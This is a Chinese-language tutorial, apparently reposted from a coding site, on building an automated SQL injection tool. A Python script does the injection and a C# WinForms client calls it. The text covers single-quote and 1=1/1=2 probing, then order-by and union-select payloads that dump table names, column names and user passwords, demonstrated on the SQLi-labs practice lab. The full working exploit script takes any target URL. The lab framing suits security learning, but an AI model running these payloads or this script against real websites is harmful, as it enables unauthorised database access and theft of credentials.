用C语言winform编写渗透测试工具使SQL注入
一、SQL注入
原理:
SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。(危害:盗取网站敏感信息、绕过验证登录网站后台、借助数据库的存储过程进行权限提升等操作)。造成的原因是程序员在编写Web程序时,没有对浏览器提交的参数进行严格的过滤和判断,用户可以构造参数,提交SQL查询语句,并传递到服务器端,从而获取敏感信息。
方法:
- 确定Web应用程序使用的技术:与设计语言或者硬件关系密切,工具Nessus、AWVS、APPScan;
- 确定所有可能的输入方式:攻击者可以通过隐藏的HTML表单输入、http头部、cookies、后端AJAX请求来跟WEB应用进行交互,使用web代理如Burp;
- 查找可以用于注射的用户输入:多多留意web应用的错误页面。
常使用的方法:
- “单引号”法:第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
- 1=1和1=2法:直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
二、实现步骤
搭建靶场环境
- 搭建SQLi-labs靶场环境,网上也有很多教程,可以参照sqli-labs下载与安装进行搭建。搭建后进入Less-1。
- 为测试环境搭建成功,首先Less-1后跟随?id=1的参数,若成功返回结果,代表环境可以使用。
- SQLi-labs靶场环境中有许多注入方式可以练习,包括get显错注入、get盲注、post显错注入、post盲注等,这里主要针对get显错注入,后面的编写的脚本也是针对get显错注入。首先尝试id的值为一些特殊的符号(如单引号'、双引号"、括号)、反斜线/等),输入?id=1',发现报错,说明此处可能有注入点,同时确认数据库为MYSQL数据库。
- 使用order by判断字段数,通过输入?id=1' order by 1 --+,页面返回正常信息,再输入?id=1' order by 2 --+,一直到id=1' order by 4 --+,页面报错,这时候我们就可以知道此表中有3列数据。
- 使用union select联合查询方式获得库名、表名、字段名。首先输入id=0' union select 1,user(),database() --+,得到用户名和使用数据库的库名。
- 获取表名时需要借助MySQL数据库中系统库information_schema,使用group_concat()来获取正在使用的库中有哪些表传入的参数,具体用法为传输参数?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,获得当前数据库使用的表名。
- 使用同样的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,获得获取字段名。
- 利用group_concat()获取字段值,具体为传输参数?id=0' union select 1,group_concat(username),group_concat(password) from users--+获得用户名和密码。
三、代码实现
使用python编写脚本实现自动注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | import time import sys from urllib import request from bs4 import BeautifulSoup def log (content): this_time = time . strftime ( '%H:%M:%S' , time . localtime ( time . time ())) print( '[' + str(this_time) + '] ' + content) def send_request(url): # log(url) res = request.urlopen(url) result = str(res.read().decode( 'utf-8' )) return result def can_inject(test_url): test_list = [ '%27' , '%22' ] for item in test_list: target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+' target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+' result1 = send_request(target_url1) result2 = send_request(target_url2) soup1 = BeautifulSoup(result1, 'html.parser' ) fonts1 = soup1.find_all( 'font' ) content1 = str(fonts1[2].text) soup2 = BeautifulSoup(result2, 'html.parser' ) fonts2 = soup2.find_all( 'font' ) content2 = str(fonts2[2].text) if content1.find( 'Login' ) != -1 and content2 == None or content2.strip() == '' : log ( 'Use ' + item + ' -> Exist SQL Injection' ) return True, item else : log ( 'Use ' + item + ' -> Not Exist SQL Injection' ) return False, None def test_order_by(url, symbol): flag = 0 for i in range(1, 100): log ( 'Order By Test -> ' + str(i)) test_url = url + symbol + '%20order%20by%20' + str(i) + '--+' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) if content.find( 'Login' ) == -1: log ( 'Order By Test Success -> order by ' + str(i)) flag = i break return flag def get_prefix_url(url): splits = url.split( '=' ) splits. remove (splits[-1]) prefix_url = '' for item in splits: prefix_url += str(item) return prefix_url def test_union_select(url, symbol, flag): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == flag - 1: test_url += str(i) + '%20--+' else : test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) for i in range(1, flag): if content.find(str(i)) != -1: temp_list = content.split(str(i)) return i, temp_list def exec_function(url, symbol, flag, index, temp_list, function): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += function + ',' elif i == flag - 1: test_url += str(i) + '%20--+' else : test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_database(url, symbol): test_url = url + symbol + 'aaaaaaaaa' result = send_request(test_url) if result.find( 'MySQL' ) != -1: return 'MySQL' elif result.find( 'Oracle' ) != -1: return 'Oracle' def get_tables(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(table_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+' else : test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_columns(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(column_name)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20information_schema.columns%20where%20' \ 'table_name=\'users\'%20and%20table_schema=database()%20--+' else : test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_data(url, symbol, flag, index, temp_list): prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag): if i == index: test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ',' elif i == flag - 1: test_url += str(i) + '%20from%20users%20--+' else : test_url += str(i) + ',' result = send_request(test_url) soup = BeautifulSoup(result, 'html.parser' ) fonts = soup.find_all( 'font' ) content = str(fonts[2].text) return content.split(temp_list[0])[1].split(temp_list[1])[0].split( ',' ) def do_sql_inject(url): log ( 'Welcome To SQL Injection Tool' ) log ( 'Check For SQL Injection......' ) result, symbol = can_inject(url) if not result: log ( 'Target Url Not Exist SQL Injection -> Exit' ) return else : log ( 'Test Order By And Union Select......' ) flag = test_order_by(url, symbol) index, temp_list = test_union_select(url, symbol, flag) database = get_database(url, symbol) version = exec_function(url, symbol, flag, index, temp_list, 'version()' ) this_database = exec_function(url, symbol, flag, index, temp_list, 'database()' ) log ( 'Success -> ' + database.strip() + ' ' + version.strip()) log ( 'Database -> ' + this_database.strip()) tables = get_tables(url, symbol, flag, index, temp_list) log ( 'Tables -> ' + tables.strip()) log ( 'Default Use Table users......' ) columns = get_columns(url, symbol, flag, index, temp_list) log ( 'Columns -> ' + columns.strip()) log ( 'Try To Get Data......\n\n' ) datas = get_data(url, symbol, flag, index, temp_list) temp = columns.split( ',' ) print( '%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) for data in datas: temp = data.split( ':' ) print( '%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) if __name__ == '__main__' : do_sql_inject(sys.argv[1]+ '/?id=1' ) |
编写windows客户端软件调用.py脚本
对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。
- 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonsql_inject()
1 2 3 4 5 6 | private void button13_Click(object sender, EventArgs e) { richTextBox8.Clear(); runPythonsql_inject(); //运行python函数 label39.Text = "开始扫描..." ; } |
- 实例化一个python进程 调用.py 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | void runPythonsql_inject() { string url = textBox10.Text; p = new Process(); string path = "sql_inject.py" ; //待处理python文件的路径,本例中放在debug文件夹下 string sArguments = path; ArrayList arrayList = new ArrayList(); arrayList.Add(url); //需要挖掘的域名 foreach (var param in arrayList) //拼接参数 { sArguments += " " + param; } p.StartInfo.FileName = @ "D:\Anaconda\python.exe" ; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可 p.StartInfo.Arguments = sArguments; //python命令的参数 p.StartInfo.UseShellExecute = false ; p.StartInfo.RedirectStandardOutput = true ; p.StartInfo.RedirectStandardInput = true ; p.StartInfo.RedirectStandardError = true ; p.StartInfo.CreateNoWindow = true ; p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.Start(); //启动进程 //MessageBox.Show("启动成功"); p.BeginOutputReadLine(); p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject); Console.ReadLine(); //p.WaitForExit(); } |
- 输出接收事件函数
1 2 3 4 5 6 7 8 9 10 11 | void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e) { var printedStr = e.Data; Action at = new Action(delegate () { //接受.py进程打印的字符信息到文本显示框 richTextBox8.AppendText(printedStr + "\n" ); label39.Text = "扫描结束" ; }); Invoke(at); } |
四、软件使用步骤
- 首先在url栏中输入地址,点击开始查询,最后得到SQL注入信息。
github地址:https://github.com/Chenmengx/Penetration-testing-tool
以上就是用C语言winform编写渗透测试工具实现SQL注入功能的详细内容,更多关于C#winform实现SQL注入的资料请关注自学编程网其它相关文章!
- 本文固定链接: https://zxbcw.cn/post/221162/
- 转载请注明:必须在正文中标注并保留原文链接
- QQ群: PHP高手阵营官方总群(344148542)
- QQ群: Yii2.0开发(304864863)